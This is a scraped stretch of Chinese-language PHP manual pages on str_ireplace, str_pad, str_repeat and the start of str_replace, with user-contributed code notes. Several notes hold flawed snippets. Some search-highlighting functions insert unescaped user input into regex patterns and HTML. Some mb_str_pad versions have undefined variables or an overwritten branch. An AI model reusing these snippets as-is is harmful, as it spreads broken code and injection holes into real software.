  • strtr() - 转换字符或替换字串

User Contributed Notes

Anteaus 02-Jan-2015 08:41
If you follow the instructions given here you will end up with code which works in php5.3 but which bugs-out in php5.4. Reason is that '&$count' (explicit pass by reference) is now an illegal construct.
Nasty, especially it leads to unreliable code which may work on test but not in production. Manual needs corrected!
Psudo - thepsudo at gmail dot com 29-Jun-2011 09:53
For highlighting without the overhead of regex and without destroying capitalization, try this:

<?php
function highlight($needle, $haystack){
    $ind = stripos($haystack, $needle);
    $len = strlen($needle);
    if($ind !== false){
        return substr($haystack, 0, $ind) . "<b>" . substr($haystack, $ind, $len) . "</b>" .
            highlight($needle, substr($haystack, $ind + $len));
    } else return $haystack;
}
?>

This example uses HTML bold tags, but you can easily change the highlighting method.
holblin at holblin dot com 09-Mar-2011 01:11
Warning with highlighting ...

I used :

<?php
$text = preg_replace('/('.$q.')/i','<span class=highlighting "">$1</span>' , $text);
?>

Because this line do not allow to highlight uppercase and lowercase correctly (transform uppercase to lowercase for exemple)

<?php
 $text = str_ireplace( $q , '<span class=highlighting "">'.$q.'</span>', $text);
?>

But when $q contain some regex you have some problems ... for exemple :
<?php $q = '('; ?>

So you must use preg_replace to highlight correctly the text and you must create a function for escape bad regex caracters !

I think that a better function can be found but this works I guess :

<?php
function regex_escape( $q )
{
    return preg_replace('/([\[\]\(\)\{\}\-\.\*\?\|\^\$])/', '\$1', $q);
}
?>
stepanic dot matija at gmail dot com 21-Oct-2010 08:57
FIX-ed problem with highlighting second 'o' OR 'a', in this string

<?php
function highlight_string ($haystack, $needle, $highlight_class) {
         // return $haystack if there is no highlight color or strings given, nothing to do.

        $first_encode='XXXXXXXXXXXXXXX';     //ENCODE string

        $second_encode='YYYYYYYYYYYYYYY';

        preg_match_all("/$needle+/i", $haystack, $matches);
        if (is_array($matches[0]) && count($matches[0]) >= 1) {
            foreach ($matches[0] as $match) {
                $haystack = str_replace($match, $first_encode.$match.$second_encode, $haystack);
            }
        }

        $haystack=str_replace(array($first_encode,$second_encode),
array('<font class="'.$highlight_class.'" >','</font>'),$haystack);

        return $haystack;
}
?>
triplepoint at gmail dot com 23-Sep-2010 10:06
Regarding maintaining the case of the find/replace for search-highlighting purposes:

if the performance hit of a regular expression isn't a big problem, there's something like:

<?php
function highlight_matches($find_text, $text) {
  return preg_replace("/($find_text)/i", '<span class="search_item">$1</span>', $text);
}
?>
ishutko at gmail dot com 16-Mar-2009 01:49
For function work with cirilic

setlocale (LC_ALL, 'ru_RU');
sawdust 04-Dec-2008 07:28
Here's a different approach to search result keyword highlighting that will match all keyword sub strings in a case insensitive manner and preserve case in the returned text. This solution first grabs all matches within $haystack in a case insensitive manner, and the secondly loops through each of those matched sub strings and applies a case sensitive replace in $haystack. This way each unique (in terms of case) instance of $needle is operated on individually allowing a case sensitive replace to be done in order to preserve the original case of each unique instance of $needle.

<?php
function highlightStr($haystack, $needle, $highlightColorValue) {
     // return $haystack if there is no highlight color or strings given, nothing to do.
    if (strlen($highlightColorValue) < 1 || strlen($haystack) < 1 || strlen($needle) < 1) {
        return $haystack;
    }
    preg_match_all("/$needle+/i", $haystack, $matches);
    if (is_array($matches[0]) && count($matches[0]) >= 1) {
        foreach ($matches[0] as $match) {
            $haystack = str_replace($match, '<span style="background-color:'.$highlightColorValue.';">'.$match.'</span>', $haystack);
        }
    }
    return $haystack;
}
?>
Michael dot Bond at mail dot wvu dot edu 14-Nov-2008 06:44
This function will highlight search terms (Key Words in Context).

The difference between this one and the ones below is that it will preserve the original case of the search term as well. So, if you search for "american" but in the original string it is "American" it will retain the capital "A" as well as the correct case for the rest of the string.

<?php
function kwic($str1,$str2) {

    $kwicLen = strlen($str1);

    $kwicArray = array();
    $pos          = 0;
    $count       = 0;

    while($pos !== FALSE) {
        $pos = stripos($str2,$str1,$pos);
        if($pos !== FALSE) {
            $kwicArray[$count]['kwic'] = substr($str2,$pos,$kwicLen);
            $kwicArray[$count++]['pos']  = $pos;
            $pos++;
        }
    }

    for($I=count($kwicArray)-1;$I>=0;$I--) {
        $kwic = '<span class="kwic">'.$kwicArray[$I]['kwic'].'</span>';
        $str2 = substr_replace($str2,$kwic,$kwicArray[$I]['pos'],$kwicLen);
    }

    return($str2);
}
?>
hfuecks at nospam dot org 04-Jul-2005 02:07
Note that character case is being defined by your server's locale setting, which effects strings containing non-ASCII characters.

See strtolower() - http://www.php.net/strtolower and comments - internally str_ireplace converts $search and $replace to lowercase to find matches.
daevid at daevid dot com 05-Apr-2005 01:14
here's a neat little function I whipped up to do HTML color coding of SQL strings.

<?php
/**
 * Output the HTML debugging string in color coded glory for a sql query
 * This is very nice for being able to see many SQL queries
 * @access     public
 * @return     void. prints HTML color coded string of the input $query.
 * @param     string $query The SQL query to be executed.
 * @author     Daevid Vincent [daevid@LockdownNetworks.com]
 *  @version     1.0
 * @date        04/05/05
 * @todo     highlight SQL functions.
 */
function SQL_DEBUG( $query )
{
    if( $query == '' ) return 0;

    global $SQL_INT;
    if( !isset($SQL_INT) ) $SQL_INT = 0;

    //[dv] this has to come first or you will have goofy results later.
    $query = preg_replace("/['\"]([^'\"]*)['\"]/i", "'<FONT COLOR='#FF6600'>$1</FONT>'", $query, -1);

    $query = str_ireplace(
                            array (
                                    '*',
                                    'SELECT ',
                                    'UPDATE ',
                                    'DELETE ',
                                    'INSERT ',
                                    'INTO',
                                    'VALUES',
                                    'FROM',
                                    'LEFT',
                                    'JOIN',
                                    'WHERE',
                                    'LIMIT',
                                    'ORDER BY',
                                    'AND',
                                    'OR ', //[dv] note the space. otherwise you match to 'COLOR' ;-)
                                    'DESC',
                                    'ASC',
                                    'ON '
                                  ),
                            array (
                                    "<FONT COLOR='#FF6600'><B>*</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>SELECT</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>UPDATE</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>DELETE</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>INSERT</B> </FONT>",
                                    "<FONT COLOR='#00AA00'><B>INTO</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>VALUES</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>FROM</B></FONT>",
                                    "<FONT COLOR='#00CC00'><B>LEFT</B></FONT>",
                                    "<FONT COLOR='#00CC00'><B>JOIN</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>WHERE</B></FONT>",
                                    "<FONT COLOR='#AA0000'><B>LIMIT</B></FONT>",
                                    "<FONT COLOR='#00AA00'><B>ORDER BY</B></FONT>",
                                    "<FONT COLOR='#0000AA'><B>AND</B></FONT>",
                                    "<FONT COLOR='#0000AA'><B>OR</B> </FONT>",
                                    "<FONT COLOR='#0000AA'><B>DESC</B></FONT>",
                                    "<FONT COLOR='#0000AA'><B>ASC</B></FONT>",
                                    "<FONT COLOR='#00DD00'><B>ON</B> </FONT>"
                                  ),
                            $query
                          );

    echo "<FONT COLOR='#0000FF'><B>SQL[".$SQL_INT."]:</B> ".$query."<FONT COLOR='#FF0000'>;</FONT></FONT><BR>\n";

    $SQL_INT++;

} //SQL_DEBUG
?>
aidan at php dot net 30-May-2004 10:36
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


使用另一个字符串填充字符串为指定长度

  • ? str_ireplace
  • str_repeat ?
  • PHP Manual
  • 字符串 函数
  • 使用另一个字符串填充字符串为指定长度

str_pad

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

str_pad — 使用另一个字符串填充字符串为指定长度

说明

str_pad(
string $string,
int $length,
string $pad_string = " ",
int $pad_type = STR_PAD_RIGHT
): string

该函数返回 string 被从左端、右端或者同时两端被填充到制定长度后的结果。如果可选的 pad_string 参数没有被指定，string 将被空格字符填充，否则它将被 pad_string 填充到指定长度。

参数

string

输入字符串。

length

填充字符串到最后的长度。 如果 length 的值是负数，小于或者等于输入字符串的长度，不会发生任何填充，并会返回 string。

pad_string

Note:

如果填充字符的长度不能被 pad_string 整除，那么 pad_string 可能会被缩短。

pad_type

可选的 pad_type 参数的可能值为 STR_PAD_RIGHT，STR_PAD_LEFT 或 STR_PAD_BOTH。如果没有指定 pad_type，则假定它是 STR_PAD_RIGHT。

返回值

返回填充后的字符串。

示例

Example #1 str_pad() 示例

<?php
$input = "Alien";
echo str_pad($input, 10); // 输出 "Alien "
echo str_pad($input, 10, "-=", STR_PAD_LEFT); // 输出 "-=-=-Alien"
echo str_pad($input, 10, "_", STR_PAD_BOTH); // 输出 "__Alien___"
echo str_pad($input, 6, "___"); // 输出 "Alien_"
echo str_pad($input, 3, "*"); // 输出 "Alien"
?>

参见

  • mb_str_pad() - Pad a multibyte string to a certain length with another multibyte string

User Contributed Notes

Borszczuk 18-Oct-2022 03:04
Beware, \str_pad() is NOT able to correctly handle multibyte characters and as \strlen() it is assuming one char ==  byte. If you have multibyte chars in your string your result string will be shorter than you expect:

<?php
$a = 'á?'; // 2 accented chars
$lenA = \mb_strlen($a);
echo $lenA . PHP_EOL;

$b = \str_pad($a, $lenA + 10, ' ');
$lenB = \mb_strlen($b);
echo $lenB . PHP_EOL;
?>

would produce:

2
10

instead of expected 12. There seem noth to be mb_str_pad() equivalent so you may end you concatenating your string and padding manually:

<?php
$a = 'á?'; // 2 accented chars

$b = mb_str_pad($a, $lenA + 10, ' ');
$lenB = \mb_strlen($b);
echo $lenB . PHP_EOL;

function mb_str_pad(string $str, int $len, string $pad, int $align = \STR_PAD_RIGHT): string
{
   $strLen = \mb_strlen($str);
   if ($strLen >= $len) {
      return $str;
   }

   $diff = $len - $strLen;
   $padding = \mb_substr(\str_repeat($pad, $diff), 0, $diff);

   switch ($align) {
      case \STR_PAD_BOTH:
         $diffHalf = (int)($diff/2 + 0.5);
         $padding = \str_repeat($pad, $diffHalf);
         $result = "{$padding}{$str}{$padding}";
         break;
      case \STR_PAD_LEFT:
         $result = "{$padding}{$str}";
         $result = "{$str}{$padding}";
         break;
      case \STR_PAD_RIGHT:
      default:
         $result = "{$str}{$padding}";
         break;
   }

   return \mb_substr($result, 0, $len);
}
?>

returns expected 12 char long string.
robertwhishaw at gmail dot com 07-Jun-2020 03:44
Incrementing or decrementing numbers in PHP is easy with the ++ and -- operators but it can be difficult to set the precision of the numbers. The str_pad() can be useful for concatenating a string to the beginning or end of the incrementing number to simulate a different precision.

Good example, we want to increment 001 to 002, 003, 004:

$numbers = [];

for($i = 1; $i <= 4; $i++){
    $numbers[] = str_pad($i, 3, '0', STR_PAD_LEFT);
}

print_r($numbers);

$numbers[0] => '001',
$numbers[1] => '002',
$numbers[2] => '003',
$numbers[3] => '004',

Bad example, we want to increment 001 to 002, 003, 004 but if we set $i = 001 in the for() loop to start with, 001 will be converted to 1 and the incrementing will return: 1, 2, 3, 4 etc...

$numbers = [];

for($i = 001; $i <= 4; $i++){
    $numbers[] = $i;
}

print_r($numbers);

$numbers[0] => 1,
$numbers[1] => 2,
$numbers[2] => 3,
$numbers[3] => 4,
neo_selen 04-Jun-2020 02:11
you can use str_pad to display an integer with a fixed amount of digits, like that:
0002
0003
...
0100

by just writing

<?php
    for ($i=0;$i<10000;$i++){
        echo str_pad($i,4,'0',STR_PAD_LEFT)."\n";
    }
?>

i set 4 digits (see parameter #2), but you can set any fitting your needs.
babak dot asad73 at gmail dot com 02-Jun-2020 09:07
how to add some 0 before numbers
for example 5  ===> 005

do something like this:

echo str_pad(5,3,0,STR_PAD_LEFT); // result 005

echo str_pad(4,6,0,STR_PAD_LEFT); // result 000005
NOSPAM dot php at my dot jrklein dot com 07-Dec-2019 06:53
str_pad() can provide sufficient "zero padding" when using block ciphers and manual padding with openssl_encrypt() and similar.

The example below will pad the 6 character text "Secret" with two \x00 characters and return 8 characters of data. Substitute your plain text and block size as needed.

<?php
$text = "Secret";
$block_size = 8;
$length = ceil(strlen($text) / $block_size) * $block_size;
$data = str_pad($text, $length, "\x00");
Kirill Fuchs 06-Aug-2017 09:32
sprintf() is not always faster... It certainly scales a lot better then str_pad so when running a benchmark that pads 10k characters,  sprintf will come out on top. But if you benchmarked a more real world scenario, it seems str_pad comes out the clear winner.

$sTime = microtime(true);
$count = 5;
$s = sprintf("%'\n5s", "\n");
$eTime = microtime(true);
echo 'sprintf ran in ' . (($eTime - $sTime) * 1000) . ' milliseconds' . "\n";

$sTime = microtime(true);
$s = str_pad("\n", 5, "\n");
$eTime = microtime(true);
echo 'str_pad ran in ' . (($eTime - $sTime) * 1000) . ' milliseconds' . "\n";

sprintf ran in 0.015974044799805 milliseconds
str_pad ran in 0.0059604644775391 milliseconds
pulketo at gmail dot com 12-Jun-2017 04:35
// Columnizer: add padding into text columns according maximum column size.
// sample input:
$a='[1515] -> ID=1515 / post_date=2012-06-18 04:48:47 / post_name=review-terminatrix-by-sfam
    [177] -> ID=177 / post_date=2017-05-12 12:12:03 / post_name=review-the-terminator-by-sfam
    [228621100] -> ID=2286 / post_date=2012-06-18 04:48:32 / post_name=terminator-3-rise-of-the-machines-2003';

function columnize($input, $separator=" "){
    $lines = explode("\n", $input);
    foreach ($lines as $k=>$line){
      $r[$k] = explode(" ", trim($line));
    }
    // print_r($r);
    $nc = sizeOf($r[0]);
    // echo $nc;
    for($i=0;$i<$nc;$i++){
      $col[$i] = array_column($r, $i);
      }
    // print_r($col);
    for ($i=0;$i<sizeof($col);$i++){
      $maxlen = max(array_map('strlen', $col[$i]));
      $tam[$i]=$maxlen;
      // echo "$i:$maxlen".PHP_EOL;
      $cs[$i]=$maxlen;
    }
    // print_r($cs);
    $o="";
    for ($r=0;$r<sizeOf($lines);$r++){
      for ($c=0;$c<sizeof($cs);$c++){
        $o.= str_pad($col[$c][$r], $cs[$c]+2, " ", STR_PAD_RIGHT );
      }
      $o .= PHP_EOL;
    }
    return $o;
  }

echo $columnize($a);
// will output text nicely in columns :)
gtwizard 10-Jan-2017 02:52
sprintf is faster

$sTime = microtime(true);
$s = sprintf("%'-1000000s", '-');
$eTime = microtime(true);
echo 'sprintf ran in ' . (($eTime - $sTime) * 1000) . ' milliseconds' . "\n";

$sTime = microtime(true);
$s = str_pad('-', 1000000, '-');
$eTime = microtime(true);
echo 'str_pad ran in ' . (($eTime - $sTime) * 1000) . ' milliseconds' . "\n";

//result
sprintf ran in 2.0260810852051 milliseconds
str_pad ran in 26.59797668457 milliseconds
Anonymous 11-Mar-2016 10:25
Here is the mcinp's version of mb_str_pad bugfixed:

<?php
function mb_str_pad($input, $pad_length, $pad_string=' ', $pad_type=STR_PAD_RIGHT,$encoding='UTF-8'){
        $mb_diff=mb_strlen($input, $encoding)-strlen($input);
        return str_pad($input,$pad_length-$mb_diff,$pad_string,$pad_type);
    }
?>

Still working correctly only if $pad_string is non-multibyte string
Anonymous 19-Jul-2015 11:13
For simple padding, you can use sprintf, which is faster:
see http://php.net/sprintf Example #5 "Specifying padding character"
mcinp 29-Jan-2015 04:04
a different, more robust multibyte version of str_pad that works correctly only if $pad_string is non-multibyte string

function my_mb_str_pad($input, $pad_length, $pad_string=' ', $pad_type=STR_PAD_RIGHT,$encoding='UTF-8'){
    $mb_diff=mb_strlen($str, $encoding)-strlen($string);
    return str_pad($input,$pad_length+$mb_diff,$pad_string,$pad_type);
}
wes at nospamplsexample dot org 28-Nov-2014 06:29
multibyte version:

<?php
function mb_str_pad($str, $pad_len, $pad_str = ' ', $dir = STR_PAD_RIGHT, $encoding = NULL)
{
    $encoding = $encoding === NULL ? mb_internal_encoding() : $encoding;
    $padBefore = $dir === STR_PAD_BOTH || $dir === STR_PAD_LEFT;
    $padAfter = $dir === STR_PAD_BOTH || $dir === STR_PAD_RIGHT;
    $pad_len -= mb_strlen($str, $encoding);
    $targetLen = $padBefore && $padAfter ? $pad_len / 2 : $pad_len;
    $strToRepeatLen = mb_strlen($pad_str, $encoding);
    $repeatTimes = ceil($targetLen / $strToRepeatLen);
    $repeatedString = str_repeat($pad_str, max(0, $repeatTimes)); // safe if used with valid utf-8 strings
    $before = $padBefore ? mb_substr($repeatedString, 0, floor($targetLen), $encoding) : '';
    $after = $padAfter ? mb_substr($repeatedString, 0, ceil($targetLen), $encoding) : '';
    return $before . $str . $after;
}
?>
Marjune 17-Nov-2014 03:45
since the default pad_type is STR_PAD_RIGHT. using STR_PAD_BOTH were always favor in the right pad if the required number of padding characters can't be evenly divided.

e.g

<?php

echo str_pad("input", 10, "pp", STR_PAD_BOTH ); // ppinputppp
echo str_pad("input", 6, "p", STR_PAD_BOTH ); // inputp
echo str_pad("input", 8, "p", STR_PAD_BOTH ); //pinputpp

?>
qeremy [atta] gmail [dotta] com 20-Jan-2013 01:44
A proper unicode string padder;

<?php
mb_internal_encoding('utf-8'); // @important

function str_pad_unicode($str, $pad_len, $pad_str = ' ', $dir = STR_PAD_RIGHT) {
    $str_len = mb_strlen($str);
    $pad_str_len = mb_strlen($pad_str);
    if (!$str_len && ($dir == STR_PAD_RIGHT || $dir == STR_PAD_LEFT)) {
        $str_len = 1; // @debug
    }
    if (!$pad_len || !$pad_str_len || $pad_len <= $str_len) {
        return $str;
    }

    $result = null;
    $repeat = ceil($str_len - $pad_str_len + $pad_len);
    if ($dir == STR_PAD_RIGHT) {
        $result = $str . str_repeat($pad_str, $repeat);
        $result = mb_substr($result, 0, $pad_len);
    } else if ($dir == STR_PAD_LEFT) {
        $result = str_repeat($pad_str, $repeat) . $str;
        $result = mb_substr($result, -$pad_len);
    } else if ($dir == STR_PAD_BOTH) {
        $length = ($pad_len - $str_len) / 2;
        $repeat = ceil($length / $pad_str_len);
        $result = mb_substr(str_repeat($pad_str, $repeat), 0, floor($length))
                    . $str
                       . mb_substr(str_repeat($pad_str, $repeat), 0, ceil($length));
    }

    return $result;
}
?>

Test;
<?php
// needs ie. "test.php" file encoded in "utf-8 without bom"
$s = '...';
for ($i = 3; $i <= 1000; $i++) {
    $s1 = str_pad($s, $i, 'AO', STR_PAD_BOTH); // can not inculde unicode char!!!
    $s2 = str_pad_unicode($s, $i, '??', STR_PAD_BOTH);
    $sl1 = strlen($s1);
    $sl2 = mb_strlen($s2);
    echo  "len $sl1: $s1 \n";
    echo  "len $sl2: $s2 \n";
    echo  "\n";
    if ($sl1 != $sl2) die("Fail!");
}
?>

Output;
len 3: ...
len 3: ...

len 4: ...A
len 4: ...?

len 5: A...A
len 5: ?...?

len 6: A...AO
len 6: ?...??
...
sergey 12-Oct-2011 02:45
You can use trim functions for clearpad string:

ltrim("0001230", "0") -> 1230
rtrim("0123000", "0") -> 0123
trim("0012300")     -> 123
gene at swipesy dot com 24-Sep-2011 09:18
This is how I pad using &nbsp; :

str_replace(" ", "&nbsp;&nbsp;", str_pad($foo, 10, " ", STR_PAD_LEFT))

Seems to work well using two &nbsp; tags for each character added, at least for my use. YMMV.
Kari &#34;Haprog&#34; Sderholm 21-Mar-2009 06:43
Here's a quick and simple way to make an mb_str_pad function that works when you have correctly set your internal encoding.

I'm not sure how well this works in all possible scenarios but atleast it worked for me using UTF-8 as internal encoding and using this function on strings containing scandinavian characters "??????" that are double byte in UTF-8.

<?php
function mb_str_pad($input, $pad_length, $pad_string=' ', $pad_type=STR_PAD_RIGHT) {
    $diff = strlen($input) - mb_strlen($input);
    return str_pad($input, $pad_length+$diff, $pad_string, $pad_type);
}
?>
matrebatre 16-Oct-2008 11:28
Here is a simple function to convert numbers into strings like this:

0 => 0000
1 => 0001
20 => 0020
432 => 0432

<?php

function number_pad($number,$n) {
return str_pad((int) $number,$n,"0",STR_PAD_LEFT);
}

?>

$n indicates how many characters you want.
bxi at apparoat dot nl 20-Mar-2008 06:17
In case you want to pad 2 strings together with a character you can use:

<?php
function pad_between_strings($string1, $string2, $length, $char = " ") {
    $fill_length = $length - ( strlen($string1) + strlen($string2) );
    return $string1 . str_repeat($char, $fill_length) . $string2;
}
?>
Spudley 18-Jul-2007 08:47
Warning: If your string includes non-ascii characters (eg the British pounds sign), str_pad() will treat these as two characters when calculating the padding.

So for example:
<?php
str_pad($currency_symbol.$showtottopay,12," ",STR_PAD_LEFT);
?>
will produce a different length string depending on whether $currency_symbol is pounds or dollars.

Hope this helps someone -- it caused me a lot of problems with misaligned columns in my invoices until I worked it out.
christian dot reinecke at web dot de 01-Apr-2007 10:43
Fills the first argument (mostly a number, f.e. from a <select> loop to display a date or time) with zeroes.

<?php
function zerofill($mStretch, $iLength = 2)
{
    $sPrintfString = '%0' . (int)$iLength . 's';
    return sprintf($sPrintfString, $mStretch);
}
?>

sprintf() is indeed faster than str_pad.
Silvio Ginter (silvio dot ginter at gmx dot de) 15-Nov-2005 08:43
Hello,

for anyone who needs this, I wrote this extension to str_pad. For details, just look at the comments.

<?php

$string = 'this is a test';
$oldLen = strlen($string);
$direction = STR_PAD_BOTH;
echo $string.'<br>';
echo str_const_len($string, 101, '#', $direction).'<br>';
echo $string.'<br>';
echo str_const_len($string, $oldLen, '#', $direction).'<br>';
echo $string.'<br><br>'."\n";

/*     This function is an extension to str_pad, it manipulates the referenced
    string '$str' and stretches or reduces it to the specified length. It
    returns the number of characters, that were added or stripped. */
function str_const_len(&$str, $len, $char = ' ', $str_pad_const = STR_PAD_RIGHT) {
    $origLen = strlen($str);
    if (strlen($str) < $len) {     /* stretch string */
        $str = str_pad($str, $len, $char, $str_pad_const);
    }
    else {                         /* reduce string */
        switch ($str_pad_const) {
            case STR_PAD_LEFT:
                $str = substr($str, (strlen($str) - $len), $len);
                break;
            case STR_PAD_BOTH:
                $shorten = (int) ((strlen($str) - $len) / 2);
                $str = substr($str, $shorten, $len);
                break;
            default:
                $str = substr($str, 0, $len);
                break;
        }
    }
    return ($len - $origLen);
}
?>
private dot email at optusnet dot com dot au 10-Aug-2005 05:04
I wrote these 3 functions that live in a library i include in every programme. I find them useful, and the syntax is easy.

<?php

$str = "test";

function str_pad_right ( $string , $padchar , $int ) {
    $i = strlen ( $string ) + $int;
    $str = str_pad ( $string , $i , $padchar , STR_PAD_RIGHT );
    return $str;
}

function str_pad_left ( $string , $padchar , $int ) {
    $i = strlen ( $string ) + $int;
    $str = str_pad ( $string , $i , $padchar , STR_PAD_LEFT );
    return $str;
}

function str_pad_both ( $string , $padchar , $int ) {
    $i = strlen ( $string ) + ( $int * 2 );
    $str = str_pad ( $string , $i , $padchar , STR_PAD_BOTH );
    return $str;
}

echo str_pad_left ( $str , "-" , 3 ); // Produces: ---test
echo str_pad_right ( $str , "-" , 3 ); // Produces: test---
echo str_pad_both ( $str , "-" , 3 ); // Produces: ---test---
?>

Hope this can help someone!
zubfatal <root at it dot dk> 27-Mar-2005 09:28
<?php
    /**
     * str_pad_html - Pad a string to a certain length with another string.
     * accepts HTML code in param: $strPadString.
     *
     * @name        str_pad_html()
     * @author        Tim Johannessen <root@it.dk>
     * @version        1.0.0
     * @param        string    $strInput    The array to iterate through, all non-numeric values will be skipped.
     * @param        int    $intPadLength    Padding length, must be greater than zero.
     * @param        string    [$strPadString]    String to pad $strInput with (default: &nbsp;)
     * @param        int        [$intPadType]        STR_PAD_LEFT, STR_PAD_RIGHT (default), STR_PAD_BOTH
     * @return        string    Returns the padded string
    **/
    function str_pad_html($strInput = "", $intPadLength, $strPadString = "&nbsp;", $intPadType = STR_PAD_RIGHT) {
        if (strlen(trim(strip_tags($strInput))) < intval($intPadLength)) {

            switch ($intPadType) {
                 // STR_PAD_LEFT
                case 0:
                    $offsetLeft = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                    $offsetRight = 0;
                    break;

                // STR_PAD_RIGHT
                case 1:
                    $offsetLeft = 0;
                    $offsetRight = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                    break;

                // STR_PAD_BOTH
                case 2:
                    $offsetLeft = intval(($intPadLength - strlen(trim(strip_tags($strInput)))) / 2);
                    $offsetRight = round(($intPadLength - strlen(trim(strip_tags($strInput)))) / 2, 0);
                    break;

                // STR_PAD_RIGHT
                default:
                    $offsetLeft = 0;
                    $offsetRight = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                    break;
            }

            $strPadded = str_repeat($strPadString, $offsetLeft) . $strInput . str_repeat($strPadString, $offsetRight);
            unset($strInput, $offsetLeft, $offsetRight);

            return $strPadded;
        }

        else {
            return $strInput;
        }
    }

?>
bob [at] bobarmadillo [dot] com 03-Dec-2002 09:22
In a lot of cases you're better off using str_repeat if you want to use something like   - it repeats the entire string.

Using str_repeat, I wrote a full string pad function that should closely mimic str_pad in every other way:

<?php
function full_str_pad($input, $pad_length, $pad_string = '', $pad_type = 0) {
 $str = '';
 $length = $pad_length - strlen($input);
 if ($length > 0) { // str_repeat doesn't like negatives
  if ($pad_type == STR_PAD_RIGHT) { // STR_PAD_RIGHT == 1
   $str = $input.str_repeat($pad_string, $length);
  } elseif ($pad_type == STR_PAD_BOTH) { // STR_PAD_BOTH == 2
   $str = str_repeat($pad_string, floor($length/2));
   $str .= $input;
   $str .= str_repeat($pad_string, ceil($length/2));
  } else { // defaults to STR_PAD_LEFT == 0
   $str = str_repeat($pad_string, $length).$input;
  }
 } else { // if $length is negative or zero we don't need to do anything
  $str = $input;
 }
 return $str;
}

$pad_me = "Test String";
echo '|'.full_str_pad($pad_me, 20, ' ')."|\n";
echo '|'.full_str_pad($pad_me, 20, ' ', STR_PAD_RIGHT)."|\n";
echo '|'.full_str_pad($pad_me, 20, ' ', STR_PAD_BOTH)."|\n";
?>
Fahad dot Gilani at anu dot edu dot au 02-Dec-2002 02:22
Basically, *all* of you guys have a 'long' way of padding text with html tags (which includes &nbsp;) You dont even have to do a str_replace... try the following code and this will work with ANY html tag there is out there and you don't have to worry about tag character lengths so on and so forth:
<?
  $text = "This is pretty interesting!";
  $pad_string = "&nbsp;";

  //Pad text on both sides
  $text = str_pad($text, strlen($text)+(20*strlen($pad_string)), $pad_string, STR_PAD_BOTH);
  print $text." Dont you think?";
?>
Will produce:
          This is pretty interesting!           Dont you think?

Cheers,
Fahad
mreilly at NOSPAM dot mac dot com 20-Aug-2002 11:23
When provided with a string of characters as the pad value, str_pad uses all the characters as fill, and can leave partial strings. (eg. If the pad value is 'ABC' and it needs 5 characters to pad with, it outputs 'ABCAB'.) This is a problem when you want to pad with non-breaking spaces, the code for which is 6 characters long.

This can be resolved by first padding the string with a single character that won't be found in the strings such as * then doing a str_replace of * with &nbsp;.
pestilenc at hotmail dot com 06-Jun-2002 04:26
For me this worked.
$string = 'help';

#First, str_pad() with unique character.
$string = str_pad($string, 10, "*", STR_PAD_BOTH);
#$string = '***help***';

#Second, str_replace with '&nbsp;'
$string = str_replace("*", "&nbsp;", $string);


重复一个字符串

  • ? str_pad
  • str_replace ?
  • PHP Manual
  • 字符串 函数
  • 重复一个字符串

str_repeat

(PHP 4, PHP 5, PHP 7, PHP 8)

str_repeat — 重复一个字符串

说明

str_repeat(string $string, int $times): string

返回 string 重复 times 次后的结果。

参数

string

待操作的字符串。

times

string 被重复的次数。

times 必须大于等于 0。如果 times 被设置为 0，函数返回空字符串。

返回值

返回重复后的字符串。

示例

Example #1 str_repeat() 示例

<?php
echo str_repeat("-=", 10);
?>

以上示例会输出：

-=-=-=-=-=-=-=-=-=-=

参见

  • for
  • str_pad() - 使用另一个字符串填充字符串为指定长度
  • substr_count() - 计算字串出现的次数

User Contributed Notes

Alexander Ovsiyenko 29-Jun-2018 11:22
http://php.net/manual/en/function.str-repeat.php#90555

Damien Bezborodov , yeah but execution time of your solution is 3-5 times worse than str_replace.

<?php

function spam($number) {
    return str_repeat('test', $number);
}

function spam2($number) {
    return implode('', array_fill(0, $number, 'test'));
}

//echo spam(4);
$before = microtime(true);
for ($i = 0; $i < 100000; $i++) {
    spam(10);
}
echo microtime(true) - $before , "\n"; // 0.010297
$before = microtime(true);
for ($i = 0; $i < 100000; $i++) {
    spam2(10);
}
echo microtime(true) - $before; // 0.032104
Anonymous 23-Oct-2011 04:51
hi guys ,
i've faced this example :
<?php

$my_head = str_repeat("°~", 35);
echo $my_head;

?>

so , the length should be 35x2 = 70 !!!
if we echo it :

<?php
$my_head = str_repeat("°~", 35);
echo strlen($my_head); // 105
echo mb_strlen($my_head, 'UTF-8'); // 70
?>

be carefull with characters and try to use mb_* package to make sure everything goes well ...
Damien Bezborodov 28-Apr-2009 12:45
Here is a simple one liner to repeat a string multiple times with a separator:

<?php
implode($separator, array_fill(0, $multiplier, $input));
?>

Example script:
<?php

// How I like to repeat a string using standard PHP functions
$input = 'bar';
$multiplier = 5;
$separator = ',';
print implode($separator, array_fill(0, $multiplier, $input));
print "\n";

// Say, this comes in handy with count() on an array that we want to use in an
// SQL query such as 'WHERE foo IN (...)'
$args = array('1', '2', '3');
print implode(',', array_fill(0, count($args), '?'));
print "\n";
?>

Example Output:
bar,bar,bar,bar,bar
?,?,?
claude dot pache at gmail dot com 10-Feb-2009 02:25
Here is a shorter version of Kees van Dieren's function below, which is moreover compatible with the syntax of str_repeat:

<?php
function str_repeat_extended($input, $multiplier, $separator='')
{
    return $multiplier==0 ? '' : str_repeat($input.$separator, $multiplier-1).$input;
}
?>
21-Jul-2003 10:45
str_repeat does not repeat symbol with code 0 on some (maybe all?) systems (tested on PHP Version 4.3.2 , FreeBSD 4.8-STABLE i386 ).

Use <pre>
while(strlen($str) < $desired) $str .= chr(0);
</pre> to have string filled with zero-symbols.


子字符串替换

  • ? str_repeat
  • str_rot13 ?
  • PHP Manual
  • 字符串 函数
  • 子字符串替换

str_replace

(PHP 4, PHP 5, PHP 7, PHP 8)

str_replace — 子字符串替换

说明

str_replace(
array|string $search,
array|string $replace,
string|array $subject,
int &$count = null
): string|array

该函数返回字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果。

要根据模式而不是固定字符串替换文本，使用 preg_replace()。

参数

